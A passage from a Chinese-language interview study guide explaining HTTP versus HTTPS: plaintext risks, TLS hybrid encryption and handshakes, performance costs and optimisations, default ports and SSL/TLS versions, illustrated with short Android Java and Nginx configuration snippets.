    • 密码、个人信息等敏感数据暴露
  2. 无身份验证

    • 无法验证服务器身份
    • 可能被中间人攻击
    • 可能连接到假冒服务器
  3. 无数据完整性校验

    • 无法验证数据是否被篡改
    • 数据可能在传输中被修改
    • 无法发现数据被篡改
  4. 无加密保护

    • 所有数据都是明文
    • 任何人可以截获并查看
    • 隐私信息泄露

不安全场景示例:

  1. 数据窃听

    客户端 → [明文数据] → 服务器
             ↑
          攻击者可以截获并查看所有数据
    
  2. 中间人攻击

    客户端 → [攻击者] → 服务器
             ↑
          攻击者可以冒充服务器
    
  3. 数据篡改

    客户端 → [数据被篡改] → 服务器
             ↑
          攻击者可以修改数据
    

HTTP不安全示例:

# HTTP请求(明文)
POST /login HTTP/1.1
Content-Type: application/json

{
  "username": "john",
  "password": "123456"  # 明文密码,可被窃听
}

# HTTP响应(明文)
HTTP/1.1 200 OK
Content-Type: application/json

{
  "token": "abc123",  # 令牌明文,可被窃听
  "userInfo": {
    "email": "john@example.com"  # 个人信息明文
  }
}

安全风险:

  • 密码泄露
  • 个人信息泄露
  • 会话劫持
  • 数据篡改
  • 中间人攻击

解决方案:

  • 使用HTTPS
  • 加密敏感数据
  • 使用安全协议
  • 遵守安全最佳实践

9.8 HTTPS如何保证安全性?

答案:

HTTPS通过SSL/TLS加密、身份验证和数据完整性校验来保证安全性。

HTTPS安全机制:

  1. 加密传输(SSL/TLS)

    • 对称加密:加密实际数据
    • 非对称加密:交换对称加密密钥
    • 混合加密:结合两种加密方式
  2. 身份验证(数字证书)

    • 服务器证书:验证服务器身份
    • CA签名:验证证书真实性
    • 证书链:建立信任链
  3. 数据完整性(MAC/Hash)

    • MAC(消息认证码):验证数据完整性
    • Hash算法:生成摘要
    • 数字签名:验证数据来源

HTTPS安全流程:

  1. 握手阶段

    客户端 → 服务器:客户端Hello
    服务器 → 客户端:服务器Hello + 证书
    客户端:验证证书
    客户端 → 服务器:客户端密钥交换
    双方:生成会话密钥
    
  2. 数据传输阶段

    客户端 → 服务器:加密数据
    服务器 → 客户端:加密数据
    

安全机制详解:

  1. 对称加密

    • 使用相同的密钥加密和解密
    • 速度快,适合大量数据
    • 例如:AES
  2. 非对称加密

    • 使用公钥加密,私钥解密
    • 速度慢,适合少量数据
    • 例如:RSA
  3. 混合加密

    • 非对称加密交换对称加密密钥
    • 对称加密加密实际数据
    • 兼顾安全性和性能
  4. 数字证书

    • 包含服务器公钥
    • 由CA签名
    • 验证服务器身份
  5. 完整性校验

    • MAC验证数据完整性
    • Hash算法生成摘要
    • 防止数据被篡改

Android代码示例:

// HTTPS连接(自动处理加密)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理
// 1. 握手(验证证书、交换密钥)
// 2. 加密传输数据

// 读取数据(自动解密)
InputStream inputStream = conn.getInputStream();

安全保证:

  • 数据传输加密(无法窃听)
  • 服务器身份验证(防止中间人攻击)
  • 数据完整性校验(防止篡改)

最佳实践:

  • 使用有效的SSL/TLS证书
  • 使用强加密算法
  • 及时更新SSL/TLS版本
  • 遵守安全最佳实践

9.9 HTTP和HTTPS的数据传输有什么区别?

答案:

HTTP和HTTPS在数据传输上的主要区别:

  1. 数据格式

    • HTTP:明文数据
    • HTTPS:加密数据
  2. 传输过程

    • HTTP:直接传输明文
    • HTTPS:先加密再传输,接收端再解密
  3. 数据可见性

    • HTTP:数据可见(可被查看)
    • HTTPS:数据不可见(加密后无法查看)

数据传输对比:

HTTP数据传输:

客户端 → [明文数据] → 服务器
        {username: "john", password: "123456"}
        数据完全可见

HTTPS数据传输:

客户端 → [加密数据] → 服务器
        {encrypted: "aB3$kL9...mN8@xY2"}
        数据不可见(加密后)

传输流程对比:

HTTP传输流程:

1. 客户端准备数据(明文)
2. 通过TCP连接发送(明文)
3. 服务器接收数据(明文)
4. 服务器处理数据(明文)

HTTPS传输流程:

1. 客户端准备数据(明文)
2. 使用SSL/TLS加密数据
3. 通过TCP连接发送(加密)
4. 服务器接收数据(加密)
5. 使用SSL/TLS解密数据
6. 服务器处理数据(明文)

数据格式示例:

HTTP请求(明文):

POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "john",
  "password": "123456"
}

HTTPS请求(加密,实际看到的是加密数据):

POST /api/login HTTP/1.1
Content-Type: application/json

[加密后的二进制数据,无法直接读取]

Android代码示例:

// HTTP(明文传输)
URL httpUrl = new URL("http://www.example.com/api");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
// 数据明文传输,可被截获查看

// HTTPS(加密传输)
URL httpsUrl = new URL("https://www.example.com/api");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
// 数据加密传输,无法被截获查看
// SSL/TLS自动处理加密/解密

性能影响:

  • HTTP:性能好(无加密开销)
  • HTTPS:性能稍差(有加密/解密开销)
  • 现代HTTPS性能已大幅提升(硬件加速、优化)

安全性对比:

特性HTTPHTTPS
数据格式明文加密
数据可见性可见不可见
安全性不安全安全
性能稍差(但可接受)

最佳实践:

  • 敏感数据使用HTTPS
  • 生产环境使用HTTPS
  • 现代HTTPS性能已足够好
  • 安全性优先于性能

9.10 HTTP和HTTPS的加密方式有什么区别?

答案:

HTTP和HTTPS在加密方式上的区别:

  1. HTTP

    • 无加密:数据明文传输
    • 不进行任何加密处理
    • 数据可被直接查看
  2. HTTPS

    • 有加密:使用SSL/TLS加密
    • 对称加密 + 非对称加密(混合加密)
    • 数据加密后传输

加密方式对比:

HTTP(无加密):

数据 → 明文传输 → 数据
    无加密过程

HTTPS(混合加密):

数据 → 对称加密(AES) → 加密数据 → 传输
密钥 → 非对称加密(RSA) → 交换密钥
    混合加密机制

HTTPS加密方式详解:

  1. 握手阶段(非对称加密)

    • 使用非对称加密(RSA/ECDSA)
    • 交换对称加密密钥
    • 验证身份(证书)
  2. 数据传输阶段(对称加密)

    • 使用对称加密(AES)
    • 加密实际数据
    • 性能更好
  3. 混合加密

    • 非对称加密:安全,但慢(用于密钥交换)
    • 对称加密:快,但需要安全交换密钥(用于数据加密)
    • 结合两者优势

加密算法:

  1. 非对称加密算法

    • RSA:传统,兼容性好
    • ECDSA:现代,性能好
    • Diffie-Hellman:密钥交换
  2. 对称加密算法

    • AES-128/256:现代标准
    • 3DES:旧标准(不推荐)
    • ChaCha20:现代,性能好
  3. Hash算法

    • SHA-256/384/512:现代标准
    • MD5:不安全(不推荐)
    • SHA-1:不安全(不推荐)

加密流程示例:

HTTPS握手(密钥交换):

客户端 → 服务器:客户端Hello
服务器 → 客户端:服务器Hello + 证书(包含公钥)
客户端:验证证书,提取公钥
客户端 → 服务器:使用公钥加密对称密钥
服务器:使用私钥解密对称密钥
双方:获得相同的对称密钥

HTTPS数据传输(数据加密):

客户端:使用对称密钥加密数据
客户端 → 服务器:发送加密数据
服务器:使用对称密钥解密数据
服务器:使用对称密钥加密响应
服务器 → 客户端:发送加密响应
客户端:使用对称密钥解密响应

Android代码示例:

// HTTPS自动处理加密
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理:
// 1. 握手(非对称加密交换密钥)
// 2. 数据传输(对称加密)

// 代码层面无需关心加密细节
InputStream inputStream = conn.getInputStream();

加密强度对比:

特性HTTPHTTPS
加密方式无加密SSL/TLS混合加密
对称加密AES-128/256
非对称加密RSA/ECDSA
加密强度

最佳实践:

  • 使用强加密算法(AES-256、RSA-2048+)
  • 使用现代TLS版本(TLS 1.2+)
  • 禁用弱加密算法
  • 定期更新加密配置

9.11 HTTP和HTTPS的性能差异是什么?

答案:

HTTP和HTTPS在性能上的主要差异:

  1. 连接建立时间

    • HTTP:快(TCP三次握手)
    • HTTPS:慢(TCP三次握手 + SSL/TLS握手)
  2. CPU消耗

    • HTTP:低(无加密/解密)
    • HTTPS:高(加密/解密运算)
  3. 内存消耗

    • HTTP:低
    • HTTPS:高(需要存储加密上下文)
  4. 带宽消耗

    • HTTP:低(无额外开销)
    • HTTPS:稍高(加密数据可能略大)

性能对比表:

特性HTTPHTTPS差异
连接建立快(~100ms)慢(~200-500ms)+100-400ms
CPU消耗+5-15%
内存消耗+10-20KB
带宽消耗稍高+10-20字节/请求
整体性能稍慢可接受

性能差异原因:

  1. SSL/TLS握手开销

    • 需要证书验证
    • 需要密钥交换
    • 需要加密算法协商
  2. 加密/解密开销

    • 对称加密运算
    • 非对称加密运算(握手阶段)
    • Hash运算
  3. 额外数据

    • SSL/TLS记录头
    • 加密填充
    • MAC(消息认证码)

性能优化:

  1. 硬件加速

    • 使用硬件加密卡
    • 使用CPU加密指令(AES-NI)
    • 大幅提升性能
  2. 会话复用(Session Resumption)

    • TLS会话复用
    • 减少握手开销
    • 提高性能
  3. HTTP/2.0

    • 多路复用
    • 头部压缩
    • 提高性能
  4. CDN

    • 使用CDN加速HTTPS
    • 减少延迟
    • 提高性能

性能测试示例:

# HTTP性能
连接建立:~100ms
数据传输:~50ms
总时间:~150ms

# HTTPS性能(无优化)
连接建立:~400ms(包括SSL/TLS握手)
数据传输:~60ms(包括加密/解密)
总时间:~460ms

# HTTPS性能(有优化)
连接建立:~200ms(会话复用)
数据传输:~55ms(硬件加速)
总时间:~255ms

实际性能影响:

  1. 现代HTTPS性能已足够好

    • 硬件加速已普及
    • 性能差异已大幅缩小
    • 大多数场景可接受
  2. 性能 vs 安全性

    • 安全性优先
    • 性能差异可接受
    • 现代HTTPS性能已足够好
  3. 使用建议

    • 生产环境使用HTTPS
    • 性能不是不使用HTTPS的理由
    • 通过优化提高HTTPS性能

Android代码示例:

// HTTP(性能好)
long startTime = System.currentTimeMillis();
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
// 连接建立:~100ms
long httpTime = System.currentTimeMillis() - startTime;

// HTTPS(性能稍差,但可接受)
startTime = System.currentTimeMillis();
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
// 连接建立:~200-400ms(包括SSL/TLS握手)
long httpsTime = System.currentTimeMillis() - startTime;

// HTTPS时间稍长,但安全性更重要

最佳实践:

  • 生产环境使用HTTPS
  • 启用硬件加速
  • 使用会话复用
  • 使用HTTP/2.0
  • 性能差异可接受,安全性优先

9.12 HTTPS为什么比HTTP慢?

答案:

HTTPS比HTTP慢的原因:

  1. SSL/TLS握手开销

    • 需要证书验证
    • 需要密钥交换
    • 需要加密算法协商
    • 增加200-300ms延迟
  2. 加密/解密运算

    • 对称加密运算(AES)
    • 非对称加密运算(RSA/ECDSA)
    • Hash运算(SHA)
    • 消耗CPU资源
  3. 额外数据传输

    • SSL/TLS记录头
    • 加密填充
    • MAC(消息认证码)
    • 增加少量带宽

慢的原因详解:

  1. SSL/TLS握手(主要原因)

    客户端 → 服务器:客户端Hello(~50ms)
    服务器 → 客户端:服务器Hello + 证书(~50ms)
    客户端:验证证书(~50ms)
    客户端 → 服务器:密钥交换(~50ms)
    服务器:密钥交换(~50ms)
    总计:~200-300ms
    
  2. 加密/解密运算

    • 对称加密:AES运算(每个数据块)
    • 非对称加密:RSA/ECDSA运算(握手阶段)
    • Hash运算:SHA运算(完整性校验)
    • CPU消耗:增加5-15%
  3. 额外数据

    • SSL/TLS记录头:5字节
    • 加密填充:0-255字节
    • MAC:16-32字节
    • 总增加:~20-300字节/记录

性能影响量化:

阶段HTTPHTTPS差异
连接建立~100ms~300-500ms+200-400ms
数据传输(加密)~5-10ms+5-10ms
CPU消耗1%5-15%+4-14%
总延迟(首次)~150ms~400-600ms+250-450ms

优化方法:

  1. 会话复用(Session Resumption)

    • 减少握手开销
    • 400ms降至200ms
    • 性能提升50%
  2. 硬件加速

    • CPU加密指令(AES-NI)
    • 硬件加密卡
    • 性能提升2-10倍
  3. HTTP/2.0

    • 多路复用
    • 减少连接数
    • 提高性能
  4. CDN

    • 减少延迟
    • 提高性能

优化后性能:

阶段HTTPHTTPS(优化前)HTTPS(优化后)
连接建立~100ms~400ms~200ms
数据传输~50ms~60ms~55ms
总延迟~150ms~460ms~255ms
性能差异基准+310ms+105ms

Android代码示例:

// HTTP(快)
long start = System.currentTimeMillis();
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
httpConn.connect();
long httpTime = System.currentTimeMillis() - start;
// 约100-150ms

// HTTPS(慢,但可接受)
start = System.currentTimeMillis();
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
httpsConn.connect();
long httpsTime = System.currentTimeMillis() - start;
// 约300-500ms(首次),200-300ms(会话复用)

实际使用建议:

  • HTTPS慢的原因主要是握手开销
  • 通过优化可以大幅改善
  • 现代HTTPS性能已足够好
  • 安全性优先于性能

9.13 HTTPS的性能优化有哪些?

答案:

HTTPS性能优化的方法:

  1. 会话复用(Session Resumption)

    • TLS会话复用
    • 减少握手开销
    • 性能提升50%
  2. 硬件加速

    • CPU加密指令(AES-NI)
    • 硬件加密卡
    • 性能提升2-10倍
  3. HTTP/2.0

    • 多路复用
    • 减少连接数
    • 提高性能
  4. CDN

    • 使用CDN加速HTTPS
    • 减少延迟
    • 提高性能
  5. 证书优化

    • 使用ECDSA证书(比RSA快)
    • 优化证书链
    • 减少验证时间

优化方法详解:

  1. 会话复用(Session Resumption)

    首次连接:完整握手(~400ms)
    后续连接:会话复用(~200ms)
    性能提升:50%
    
    • 服务器保存会话信息
    • 客户端发送会话ID
    • 跳过大部分握手步骤
  2. 硬件加速

    软件加密:100% CPU
    硬件加速(AES-NI):10-20% CPU
    性能提升:5-10
    • 使用CPU加密指令
    • 使用硬件加密卡
    • 大幅提升加密性能
  3. HTTP/2.0

    HTTP/1.1:多个连接
    HTTP/2.0:单个连接,多路复用
    性能提升:减少连接开销
    
    • 多路复用
    • 头部压缩
    • 服务器推送
  4. CDN

    直接连接:~300ms延迟
    CDN连接:~50ms延迟
    性能提升:减少延迟
    
    • 使用CDN加速
    • 减少网络延迟
    • 提高响应速度
  5. 证书优化

    RSA-2048:~50ms
    ECDSA-256:~10ms
    性能提升:5倍
    
    • 使用ECDSA证书
    • 优化证书链
    • 减少验证时间

优化效果:

优化方法性能提升实施难度
会话复用50%
硬件加速5-10倍
HTTP/2.020-30%
CDN减少延迟
证书优化10-20%

Android代码示例:

// 启用会话复用(默认启用)
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
// 系统自动处理会话复用

// HTTP/2.0(OkHttp)
OkHttpClient client = new OkHttpClient.Builder()
    .protocols(Arrays.asList(Protocol.HTTP_2, Protocol.HTTP_1_1))
    .build();
// 自动使用HTTP/2.0多路复用

服务器配置示例(Nginx):

# 启用会话复用
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;

# 使用现代TLS版本
ssl_protocols TLSv1.2 TLSv1.3;

# 使用ECDSA证书(更快)
ssl_certificate /path/to/ecdsa.crt;
ssl_certificate_key /path/to/ecdsa.key;

最佳实践:

  • 启用会话复用
  • 使用硬件加速
  • 使用HTTP/2.0
  • 使用CDN
  • 优化证书
  • 现代HTTPS性能已足够好

9.14 HTTP和HTTPS的连接建立过程有什么区别?

答案:

HTTP和HTTPS在连接建立过程上的主要区别:

  1. HTTP连接建立

    • TCP三次握手
    • 直接开始HTTP通信
    • 简单快速
  2. HTTPS连接建立

    • TCP三次握手
    • SSL/TLS握手(额外步骤)
    • 然后开始HTTP通信
    • 复杂但安全

连接建立过程对比:

HTTP连接建立:

1. TCP三次握手
   客户端 → 服务器:SYN
   服务器 → 客户端:SYN-ACK
   客户端 → 服务器:ACK
   
2. HTTP通信开始
   客户端 → 服务器:HTTP请求
   服务器 → 客户端:HTTP响应

HTTPS连接建立:

1. TCP三次握手
   客户端 → 服务器:SYN
   服务器 → 客户端:SYN-ACK
   客户端 → 服务器:ACK

2. SSL/TLS握手(额外步骤)
   客户端 → 服务器:客户端Hello
   服务器 → 客户端:服务器Hello + 证书
   客户端:验证证书
   客户端 → 服务器:客户端密钥交换
   服务器 → 客户端:服务器Hello Done
   双方:生成会话密钥

3. HTTP通信开始(加密)
   客户端 → 服务器:加密的HTTP请求
   服务器 → 客户端:加密的HTTP响应

详细过程:

HTTP连接建立(~100ms):

步骤1:TCP三次握手
  客户端 → 服务器:SYN(同步)
  服务器 → 客户端:SYN-ACK(同步确认)
  客户端 → 服务器:ACK(确认)
  时间:~50-100ms

步骤2:HTTP请求
  客户端 → 服务器:HTTP请求
  服务器 → 客户端:HTTP响应
  时间:~50ms

总时间:~100-150ms

HTTPS连接建立(~300-500ms):

步骤1:TCP三次握手
  客户端 → 服务器:SYN
  服务器 → 客户端:SYN-ACK
  客户端 → 服务器:ACK
  时间:~50-100ms

步骤2:SSL/TLS握手
  2.1 客户端Hello
      客户端 → 服务器:支持的TLS版本、加密套件、随机数
      时间:~50ms
  
  2.2 服务器Hello + 证书
      服务器 → 客户端:选择的TLS版本、加密套件、证书、随机数
      时间:~50ms
  
  2.3 证书验证
      客户端:验证证书(检查CA、有效期等)
      时间:~50ms
  
  2.4 客户端密钥交换
      客户端 → 服务器:使用服务器公钥加密的对称密钥
      时间:~50ms
  
  2.5 完成握手
      双方:生成会话密钥
      时间:~50ms
  
  总时间:~200-300ms

步骤3:HTTP请求(加密)
  客户端 → 服务器:加密的HTTP请求
  服务器 → 客户端:加密的HTTP响应
  时间:~50ms

总时间:~300-500ms

Android代码示例:

// HTTP连接建立
long start = System.currentTimeMillis();
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
httpConn.connect();
long httpTime = System.currentTimeMillis() - start;
// 约100-150ms(TCP三次握手)

// HTTPS连接建立
start = System.currentTimeMillis();
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
httpsConn.connect();
long httpsTime = System.currentTimeMillis() - start;
// 约300-500ms(TCP三次握手 + SSL/TLS握手)

时间对比:

阶段HTTPHTTPS差异
TCP三次握手~50-100ms~50-100ms相同
SSL/TLS握手~200-300ms+200-300ms
HTTP通信~50ms~50ms相同
总时间~100-150ms~300-500ms+200-350ms

优化后(会话复用):

阶段HTTPHTTPS(首次)HTTPS(复用)
TCP三次握手~100ms~100ms~100ms
SSL/TLS握手~300ms~50ms(会话复用)
HTTP通信~50ms~50ms~50ms
总时间~150ms~450ms~200ms

最佳实践:

  • HTTPS连接建立需要额外时间(SSL/TLS握手)
  • 通过会话复用可以大幅减少时间
  • 现代HTTPS性能已足够好
  • 安全性优先于性能

9.15 如何选择使用HTTP还是HTTPS?

答案:

选择使用HTTP还是HTTPS的原则:

  1. 生产环境

    • 必须使用HTTPS
    • 保护用户数据
    • 遵守安全规范
  2. 敏感数据

    • 必须使用HTTPS
    • 登录、支付、个人信息
    • 防止数据泄露
  3. 开发/测试环境

    • 可以使用HTTP
    • 简化开发流程
    • 但建议使用HTTPS
  4. 内网环境

    • 可以使用HTTP
    • 如果网络安全可控
    • 但建议使用HTTPS

选择指南:

场景推荐说明
生产环境HTTPS必须使用
敏感数据HTTPS必须使用
登录/支付HTTPS必须使用
开发环境HTTPS建议使用
测试环境HTTPS建议使用
内网环境HTTPS建议使用
静态资源HTTPS建议使用
API接口HTTPS建议使用

使用场景:

  1. 必须使用HTTPS

    • 生产环境
    • 用户登录
    • 支付交易
    • 个人信息
    • 敏感数据
  2. 建议使用HTTPS

    • 开发环境
    • 测试环境
    • 内网环境
    • 所有Web服务
  3. 可以使用HTTP(不推荐)

    • 仅限开发/测试
    • 内网且安全可控
    • 非敏感数据
    • 临时服务

最佳实践:

  1. HTTPS优先(HSTS)

    • 始终使用HTTPS
    • 使用HSTS强制HTTPS
    • 重定向HTTP到HTTPS
  2. 开发环境

    • 使用自签名证书
    • 使用本地HTTPS
    • 模拟生产环境
  3. 性能考虑

    • 现代HTTPS性能已足够好
    • 性能不是不使用HTTPS的理由
    • 通过优化提高HTTPS性能

Android代码示例:

// 生产环境:使用HTTPS
String productionUrl = "https://api.example.com";

// 开发环境:可以使用HTTP,但建议HTTPS
String devUrl = "https://dev-api.example.com";
// 或使用自签名证书的HTTPS

// 检测URL协议
URL url = new URL("https://www.example.com");
if ("https".equals(url.getProtocol())) {
    // HTTPS连接
    HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
} else if ("http".equals(url.getProtocol())) {
    // HTTP连接(不推荐)
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
}

安全建议:

  • 生产环境必须使用HTTPS
  • 敏感数据必须使用HTTPS
  • 开发环境建议使用HTTPS
  • 现代HTTPS性能已足够好
  • 安全性优先于性能

总结:

  • 默认选择HTTPS
  • 除非有特殊原因,否则使用HTTPS
  • 现代HTTPS性能已足够好
  • 安全性是最重要的考虑因素

第十章:HTTPS 基础(15 题)

10.1 HTTPS是什么?它的全称是什么?

答案:

HTTPS(HyperText Transfer Protocol Secure):超文本传输安全协议,是在HTTP基础上添加了SSL/TLS加密层的安全版本。

HTTPS定义:

  • HTTP + SSL/TLS
  • 安全的HTTP协议
  • 加密传输数据
  • 身份验证
  • 数据完整性

HTTPS特点:

  1. 安全性

    • 加密传输
    • 身份验证
    • 数据完整性
  2. 兼容性

    • 基于HTTP
    • 与HTTP兼容
    • 使用SSL/TLS加密
  3. 应用场景

    • 生产环境
    • 敏感数据传输
    • 用户登录、支付

HTTPS协议栈:

应用层:HTTP
安全层:SSL/TLS
传输层:TCP
网络层:IP

Android代码示例:

// HTTPS连接
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理加密
InputStream inputStream = conn.getInputStream();

10.2 HTTPS的特点是什么?

答案:

HTTPS的特点:

  1. 安全性

    • 加密传输(SSL/TLS)
    • 身份验证(数字证书)
    • 数据完整性(MAC)
  2. 兼容性

    • 基于HTTP
    • 与HTTP兼容
    • 使用相同的URL格式(https://)
  3. 性能

    • 比HTTP稍慢(加密开销)
    • 现代HTTPS性能已足够好
    • 可接受的开销
  4. 应用场景

    • 生产环境
    • 敏感数据
    • 用户登录、支付

HTTPS vs HTTP对比:

特性HTTPHTTPS
加密有(SSL/TLS)
身份验证有(证书)
数据完整性有(MAC)
端口80443
性能稍慢(但可接受)
安全性不安全安全

HTTPS优势:

  • 数据传输加密
  • 防止中间人攻击
  • 防止数据被窃听
  • 防止数据被篡改
  • 身份验证

HTTPS劣势:

  • 性能稍差(加密开销)
  • 需要证书(成本)
  • 配置稍复杂

最佳实践:

  • 生产环境使用HTTPS
  • 敏感数据使用HTTPS
  • 现代HTTPS性能已足够好
  • 安全性优先

10.3 HTTPS属于OSI模型的哪一层?

答案:

HTTPS属于OSI模型的第7层(应用层)

OSI模型分层:

  1. 第7层:应用层

    • HTTPS
    • HTTP
    • FTP
    • SMTP
  2. HTTPS在OSI模型中的位置

    7. 应用层:HTTPS(HTTP + SSL/TLS)
    6. 表示层:SSL/TLS(部分功能)
    5. 会话层:SSL/TLS(部分功能)
    4. 传输层:TCP
    3. 网络层:IP
    2. 数据链路层:以太网
    1. 物理层:物理介质
    

详细说明:

  1. HTTPS主要在应用层

    • HTTPS协议本身属于应用层
    • HTTP协议属于应用层
    • SSL/TLS为HTTP提供安全服务
  2. SSL/TLS的跨层特性

    • SSL/TLS在应用层和传输层之间
    • 有些功能属于表示层和会话层
    • 但通常归类为应用层协议

Android代码示例:

// HTTPS属于应用层
// 在Android中使用HttpsURLConnection
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// 应用层协议(HTTPS)
// 传输层协议(TCP)
// 网络层协议(IP)

协议栈关系:

  • HTTPS:应用层协议
  • SSL/TLS:为HTTPS提供安全服务
  • TCP:传输层协议
  • IP:网络层协议

10.4 HTTPS属于TCP/IP模型的哪一层?

答案:

HTTPS属于TCP/IP模型的第4层(应用层)

TCP/IP模型分层:

  1. 第4层:应用层

    • HTTPS
    • HTTP
    • FTP
    • SMTP
  2. HTTPS在TCP/IP模型中的位置

    4. 应用层:HTTPS(HTTP + SSL/TLS)
    3. 传输层:TCP
    2. 网络层:IP
    1. 网络接口层:以太网/物理层
    

详细说明:

  1. HTTPS在应用层

    • HTTPS协议属于应用层
    • HTTP协议属于应用层
    • SSL/TLS为HTTP提供安全服务
  2. TCP/IP模型分层

    • 应用层:HTTPS、HTTP
    • 传输层:TCP、UDP
    • 网络层:IP
    • 网络接口层:以太网

Android代码示例:

// HTTPS属于TCP/IP模型的应用层
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// TCP/IP模型:
// 应用层:HTTPS
// 传输层:TCP
// 网络层:IP
// 网络接口层:以太网

协议栈关系:

  • HTTPS:应用层协议
  • TCP:传输层协议
  • IP:网络层协议
  • 以太网:网络接口层

10.5 HTTPS的默认端口号是什么?

答案:

HTTPS的默认端口号是443

端口号说明:

  1. 默认端口

    • HTTPS:443
    • HTTP:80
  2. URL中的端口

    https://www.example.com        # 默认443端口
    https://www.example.com:443    # 显式指定443端口
    https://www.example.com:8443   # 使用8443端口(自定义)
    
  3. 常见端口

    • HTTPS:443
    • HTTP:80
    • HTTPS代理:8443

Android代码示例:

// HTTPS默认端口443
URL httpsUrl = new URL("https://www.example.com");
// 实际连接端口:443

// 指定端口
URL customUrl = new URL("https://www.example.com:8443");
// 连接端口:8443

端口使用:

  • 生产环境:443(默认)
  • 开发环境:8443(自定义)
  • 测试环境:8443(自定义)

10.6 HTTPS的加密原理是什么?

答案:

HTTPS的加密原理是使用SSL/TLS协议进行混合加密

HTTPS加密原理:

  1. 混合加密

    • 非对称加密:交换对称加密密钥
    • 对称加密:加密实际数据
    • 结合两者优势
  2. 加密流程

    握手阶段(非对称加密):
      客户端 → 服务器:客户端Hello
      服务器 → 客户端:服务器Hello + 证书(包含公钥)
      客户端:验证证书,提取公钥
      客户端 → 服务器:使用公钥加密对称密钥
      服务器:使用私钥解密对称密钥
      双方:获得相同的对称密钥
    
    数据传输阶段(对称加密):
      客户端 → 服务器:使用对称密钥加密数据
      服务器 → 客户端:使用对称密钥加密数据
    
  3. 加密算法

    • 非对称加密:RSA、ECDSA
    • 对称加密:AES-128/256
    • Hash算法:SHA-256/384/512

详细说明:

  1. 非对称加密(密钥交换)

    • 服务器有公钥和私钥
    • 公钥在证书中
    • 客户端使用公钥加密对称密钥
    • 服务器使用私钥解密
  2. 对称加密(数据加密)

    • 使用相同的密钥加密和解密
    • 速度快,适合大量数据
    • 密钥通过非对称加密安全交换
  3. 混合加密优势

    • 非对称加密:安全,但慢(用于密钥交换)
    • 对称加密:快,但需要安全交换密钥(用于数据加密)
    • 结合两者优势

Android代码示例:

// HTTPS自动处理加密
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理:
// 1. 握手(非对称加密交换密钥)
// 2. 数据传输(对称加密)
// 代码层面无需关心加密细节

加密原理总结:

  • 使用混合加密(非对称 + 对称)
  • 非对称加密交换密钥
  • 对称加密加密数据
  • SSL/TLS自动处理

10.7 为什么需要HTTPS?

答案:

需要HTTPS的原因:

  1. 安全性

    • HTTP是明文传输,数据可被窃听
    • HTTPS加密传输,数据不可被窃听
    • 保护敏感数据
  2. 身份验证

    • HTTP无法验证服务器身份
    • HTTPS通过证书验证服务器身份
    • 防止中间人攻击
  3. 数据完整性

    • HTTP无法验证数据完整性
    • HTTPS通过MAC验证数据完整性
    • 防止数据被篡改
  4. 合规要求

    • 法律法规要求
    • 行业标准要求
    • 安全最佳实践

安全性需求:

  1. 数据保护

    • 用户密码
    • 个人信息
    • 支付信息
    • 隐私数据
  2. 防止攻击

    • 数据窃听
    • 数据篡改
    • 中间人攻击
    • 会话劫持
  3. 信任建立

    • 用户信任
    • 品牌保护
    • 合规要求

使用场景:

  • 生产环境
  • 用户登录
  • 支付交易
  • 个人信息
  • 敏感数据

最佳实践:

  • 生产环境必须使用HTTPS
  • 敏感数据必须使用HTTPS
  • 遵守安全最佳实践
  • 安全性优先

10.8 SSL是什么?它的全称是什么?

答案:

SSL(Secure Sockets Layer):安全套接字层,是用于加密网络通信的协议。

SSL定义:

  • 安全套接字层
  • 加密网络通信
  • 身份验证
  • 数据完整性

SSL版本:

  • SSL 1.0:未发布
  • SSL 2.0:已废弃(不安全)
  • SSL 3.0:已废弃(不安全,POODLE攻击)

SSL状态:

  • SSL已被TLS取代
  • 不再推荐使用
  • 应该使用TLS

SSL vs TLS:

  • SSL:旧协议,已废弃
  • TLS:新协议,当前标准
  • TLS是SSL的后续版本

Android代码示例:

// SSL已被TLS取代
// 应该使用TLS,而不是SSL
// SSLContext.getDefault() 实际返回TLS实现

最佳实践:

  • 不使用SSL
  • 使用TLS 1.2+
  • 禁用SSL 2.0/3.0
  • 使用现代TLS版本

10.9 TLS是什么?它的全称是什么?

答案:

TLS(Transport Layer Security):传输层安全,是用于加密网络通信的协议。

TLS定义:

  • 传输层安全
  • SSL的后续版本
  • 加密网络通信
  • 身份验证
  • 数据完整性

TLS版本:

  • TLS 1.0:已废弃(不安全)
  • TLS 1.1:已废弃(不安全)
  • TLS 1.2:当前标准(推荐)
  • TLS 1.3:最新版本(推荐)

TLS特点:

  • 安全性好
  • 性能好
  • 广泛应用
  • 当前标准

Android代码示例:

// TLS配置
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, null, null);

// 使用TLS 1.2+
// Android默认使用TLS 1.2

最佳实践:

  • 使用TLS 1.2+
  • 优先使用TLS 1.3
